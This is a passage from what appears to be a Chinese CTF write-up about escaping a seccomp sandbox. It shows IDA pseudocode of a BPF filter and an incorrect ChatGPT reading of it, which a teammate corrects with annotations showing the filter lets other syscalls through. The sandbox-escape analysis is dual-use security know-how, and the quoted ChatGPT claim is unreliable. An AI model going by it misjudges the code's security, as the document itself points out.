class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 逃逸sccomp进行代码执行。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 通过lau image和sfm进行交互，看sfm是否存在漏洞。</p></li></ol><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下面贴一下seccomp的初始化IDA伪代码：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">__int64 <span style="color: rgb(97, 174, 238);">install_seccomp_filter</span>()<br/>{<br/>  __int64 v0; <span style="color: rgb(92, 99, 112);font-style: italic;">// rcx</span><br/>  __int64 v1; <span style="color: rgb(92, 99, 112);font-style: italic;">// r8</span><br/>  __int16 v3; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+0h] [rbp-80h] BYREF</span><br/>  __int16 *v4; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+8h] [rbp-78h]</span><br/>  __int16 v5; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+10h] [rbp-70h] BYREF</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v6; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+12h] [rbp-6Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v7; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+13h] [rbp-6Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v8; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+14h] [rbp-6Ch]</span><br/>  __int16 v9; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+18h] [rbp-68h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v10; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+1Ah] [rbp-66h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v11; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+1Bh] [rbp-65h]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v12; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+1Ch] [rbp-64h]</span><br/>  __int16 v13; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+20h] [rbp-60h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v14; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+22h] [rbp-5Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v15; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+23h] [rbp-5Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v16; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+24h] [rbp-5Ch]</span><br/>  __int16 v17; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+28h] [rbp-58h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v18; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+2Ah] [rbp-56h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v19; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+2Bh] [rbp-55h]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v20; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+2Ch] [rbp-54h]</span><br/>  __int16 v21; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+30h] [rbp-50h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v22; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+32h] [rbp-4Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v23; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+33h] [rbp-4Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v24; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+34h] [rbp-4Ch]</span><br/>  __int16 v25; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+38h] [rbp-48h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v26; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+3Ah] [rbp-46h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v27; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+3Bh] [rbp-45h]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v28; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+3Ch] [rbp-44h]</span><br/>  __int16 v29; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+40h] [rbp-40h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v30; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+42h] [rbp-3Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v31; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+43h] [rbp-3Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v32; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+44h] [rbp-3Ch]</span><br/>  __int16 v33; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+48h] [rbp-38h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v34; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+4Ah] [rbp-36h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v35; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+4Bh] [rbp-35h]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v36; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+4Ch] [rbp-34h]</span><br/>  __int16 v37; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+50h] [rbp-30h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v38; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+52h] [rbp-2Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v39; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+53h] [rbp-2Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v40; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+54h] [rbp-2Ch]</span><br/>  __int16 v41; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+58h] [rbp-28h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v42; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+5Ah] [rbp-26h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v43; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+5Bh] [rbp-25h]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v44; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+5Ch] [rbp-24h]</span><br/>  __int16 v45; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+60h] [rbp-20h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v46; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+62h] [rbp-1Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v47; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+63h] [rbp-1Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v48; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+64h] [rbp-1Ch]</span><br/>  __int16 v49; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+68h] [rbp-18h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v50; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+6Ah] [rbp-16h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v51; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+6Bh] [rbp-15h]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v52; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+6Ch] [rbp-14h]</span><br/>  __int16 v53; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+70h] [rbp-10h]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v54; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+72h] [rbp-Eh]</span><br/>  <span style="color: rgb(230, 192, 123);">char</span> v55; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+73h] [rbp-Dh]</span><br/>  <span style="color: rgb(230, 192, 123);">int</span> v56; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+74h] [rbp-Ch]</span><br/>  unsigned __int64 v57; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+78h] [rbp-8h]</span><br/>  v57 = __readfsqword(<span style="color: rgb(209, 154, 102);">0x28</span>u);<br/>  v5 = <span style="color: rgb(209, 154, 102);">32</span>;<br/>  v6 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v7 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v8 = <span style="color: rgb(209, 154, 102);">4</span>;<br/>  v9 = <span style="color: rgb(209, 154, 102);">21</span>;<br/>  v10 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v11 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v12 = <span style="color: rgb(209, 154, 102);">-1073741762</span>;<br/>  v13 = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  v14 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v15 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v16 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v17 = <span style="color: rgb(209, 154, 102);">32</span>;<br/>  v18 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v19 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v20 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v21 = <span style="color: rgb(209, 154, 102);">21</span>;<br/>  v22 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v23 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v24 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v25 = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  v26 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v27 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v28 = <span style="color: rgb(209, 154, 102);">2147418112</span>;<br/>  v29 = <span style="color: rgb(209, 154, 102);">21</span>;<br/>  v30 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v31 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v32 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v33 = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  v34 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v35 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v36 = <span style="color: rgb(209, 154, 102);">2147418112</span>;<br/>  v37 = <span style="color: rgb(209, 154, 102);">21</span>;<br/>  v38 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v39 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v40 = <span style="color: rgb(209, 154, 102);">47</span>;<br/>  v41 = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  v42 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v43 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v44 = <span style="color: rgb(209, 154, 102);">2147418112</span>;<br/>  v45 = <span style="color: rgb(209, 154, 102);">21</span>;<br/>  v46 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v47 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v48 = <span style="color: rgb(209, 154, 102);">11</span>;<br/>  v49 = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  v50 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v51 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v52 = <span style="color: rgb(209, 154, 102);">2147418112</span>;<br/>  v53 = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  v54 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v55 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v56 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v3 = <span style="color: rgb(209, 154, 102);">13</span>;<br/>  v4 = &amp;v5;<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( (unsigned <span style="color: rgb(230, 192, 123);">int</span>)prctl(<span style="color: rgb(209, 154, 102);">38L</span>L, <span style="color: rgb(209, 154, 102);">1L</span>L, <span style="color: rgb(209, 154, 102);">0L</span>L, <span style="color: rgb(209, 154, 102);">0L</span>L, <span style="color: rgb(209, 154, 102);">0L</span>L) )<br/>  {<br/>    perror(<span style="color: rgb(152, 195, 121);">&#34;prctl(NO_NEW_PRIVS)&#34;</span>);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>  {<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( !(unsigned <span style="color: rgb(230, 192, 123);">int</span>)prctl(<span style="color: rgb(209, 154, 102);">22L</span>L, <span style="color: rgb(209, 154, 102);">2L</span>L, &amp;v3, v0, v1) )<br/>      <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0L</span>L;<br/>    perror(<span style="color: rgb(152, 195, 121);">&#34;prctl(SECCOMP)&#34;</span>);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">1L</span>L;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我当时一个抖机灵就直接发给chatGPT，得到的回答如下：</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Sure. According to the pseudocode provided, this is a function used to install a seccomp filter. The specific rules of the filter are as follows:</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Allow reading and writing files with file descriptors of 0, 1, and 2.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Allow the use of exit_group, read, write, and nanosleep system calls.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Prohibit the use of any other system calls.</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Therefore, the main purpose of this seccomp rule is to limit the program&#39;s system call permissions to enhance the program&#39;s security.</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  从chatGPT的回答可以看出这是非常严格的沙箱限制。于是我就直接看sfm的代码进行代码审计了。然而队友一眼看出chatGPT的错误所在。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">From Thomason:</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Behavior of <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">prctl</code> should be:</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">With arg2 set to SECCOMP_MODE_FILTER (since Linux 3.5) the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments. This mode is only available if the kernel is configured with CONFIG_SECCOMP_FILTER enabled.</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">__int64 <span style="color: rgb(97, 174, 238);">install_seccomp_filter</span>()<br/>{<br/>  __int64 v0; <span style="color: rgb(92, 99, 112);font-style: italic;">// rcx</span><br/>  __int64 v1; <span style="color: rgb(92, 99, 112);font-style: italic;">// r8</span><br/>  sock_fprog sec_filter; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+0h] [rbp-80h] BYREF</span><br/>  sock_filter filter[<span style="color: rgb(209, 154, 102);">13</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+10h] [rbp-70h] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">unsigned</span> __int64 v5; <span style="color: rgb(92, 99, 112);font-style: italic;">// [rsp+78h] [rbp-8h]</span><br/>  v5 = __readfsqword(<span style="color: rgb(209, 154, 102);">0x28</span>u);<br/>  filter[<span style="color: rgb(209, 154, 102);">0</span>].code = <span style="color: rgb(209, 154, 102);">32</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Load architecture from &#39;seccomp_data&#39; buffer into accumulator. */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch)))</span><br/>  filter[<span style="color: rgb(209, 154, 102);">0</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">0</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">0</span>].k = <span style="color: rgb(209, 154, 102);">4</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">1</span>].code = <span style="color: rgb(209, 154, 102);">21</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// ???</span><br/>  filter[<span style="color: rgb(209, 154, 102);">1</span>].jt = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">1</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">1</span>].k = <span style="color: rgb(209, 154, 102);">0xC000003E</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">2</span>].code = <span style="color: rgb(209, 154, 102);">6</span>;                           <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Destination of architecture mismatch: kill process. */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS)</span><br/>  filter[<span style="color: rgb(209, 154, 102);">2</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">2</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">2</span>].k = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">3</span>].code = <span style="color: rgb(209, 154, 102);">32</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Load system call number from &#39;seccomp_data&#39; buffer into accumulator. */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr)))</span><br/>  filter[<span style="color: rgb(209, 154, 102);">3</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">3</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">3</span>].k = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">4</span>].code = <span style="color: rgb(209, 154, 102);">21</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Jump forward k instructions if ... */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)</span><br/>  filter[<span style="color: rgb(209, 154, 102);">4</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">4</span>].jf = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">4</span>].k = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">5</span>].code = <span style="color: rgb(209, 154, 102);">6</span>;                           <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Destination of system call number mismatch: allow other system calls. */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),</span><br/>  filter[<span style="color: rgb(209, 154, 102);">5</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">5</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">5</span>].k = <span style="color: rgb(209, 154, 102);">0x7FFF0000</span>;                     <span style="color: rgb(92, 99, 112);font-style: italic;">// SECCOMP_RET_ALLOW</span><br/>  filter[<span style="color: rgb(209, 154, 102);">6</span>].code = <span style="color: rgb(209, 154, 102);">21</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Jump forward k instructions if ... */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)</span><br/>  filter[<span style="color: rgb(209, 154, 102);">6</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">6</span>].jf = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">6</span>].k = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">7</span>].code = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">7</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">7</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">7</span>].k = <span style="color: rgb(209, 154, 102);">0x7FFF0000</span>;                     <span style="color: rgb(92, 99, 112);font-style: italic;">// SECCOMP_RET_ALLOW</span><br/>  filter[<span style="color: rgb(209, 154, 102);">8</span>].code = <span style="color: rgb(209, 154, 102);">21</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Jump forward k instructions if ... */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)</span><br/>  filter[<span style="color: rgb(209, 154, 102);">8</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">8</span>].jf = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">8</span>].k = <span style="color: rgb(209, 154, 102);">47</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">9</span>].code = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">9</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">9</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">9</span>].k = <span style="color: rgb(209, 154, 102);">0x7FFF0000</span>;                     <span style="color: rgb(92, 99, 112);font-style: italic;">// SECCOMP_RET_ALLOW</span><br/>  filter[<span style="color: rgb(209, 154, 102);">10</span>].code = <span style="color: rgb(209, 154, 102);">21</span>;                         <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Jump forward k instructions if ... */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)</span><br/>  filter[<span style="color: rgb(209, 154, 102);">10</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">10</span>].jf = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">10</span>].k = <span style="color: rgb(209, 154, 102);">11</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">11</span>].code = <span style="color: rgb(209, 154, 102);">6</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">11</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">11</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">11</span>].k = <span style="color: rgb(209, 154, 102);">0x7FFF0000</span>;                    <span style="color: rgb(92, 99, 112);font-style: italic;">// SECCOMP_RET_ALLOW</span><br/>  filter[<span style="color: rgb(209, 154, 102);">12</span>].code = <span style="color: rgb(209, 154, 102);">6</span>;                          <span style="color: rgb(92, 99, 112);font-style: italic;">// /* Destination of architecture mismatch: kill process. */</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS)</span><br/>  filter[<span style="color: rgb(209, 154, 102);">12</span>].jt = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">12</span>].jf = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  filter[<span style="color: rgb(209, 154, 102);">12</span>].k = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  sec_filter.len = <span style="color: rgb(209, 154, 102);">13</span>;<br/>  sec_filter.filter = filter;<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span>)prctl(<span style="color: rgb(209, 154, 102);">38LL</span>, <span style="color: rgb(209, 154, 102);">1LL</span>, <span style="color: rgb(209, 154, 102);">0LL</span>, <span style="color: rgb(209, 154, 102);">0LL</span>, <span style="color: rgb(209, 154, 102);">0LL</span>) )<span style="color: rgb(92, 99, 112);font-style: italic;">// #define PR_SET_NO_NEW_PRIVS 38</span><br/>  {<br/>    perror(<span style="color: rgb(152, 195, 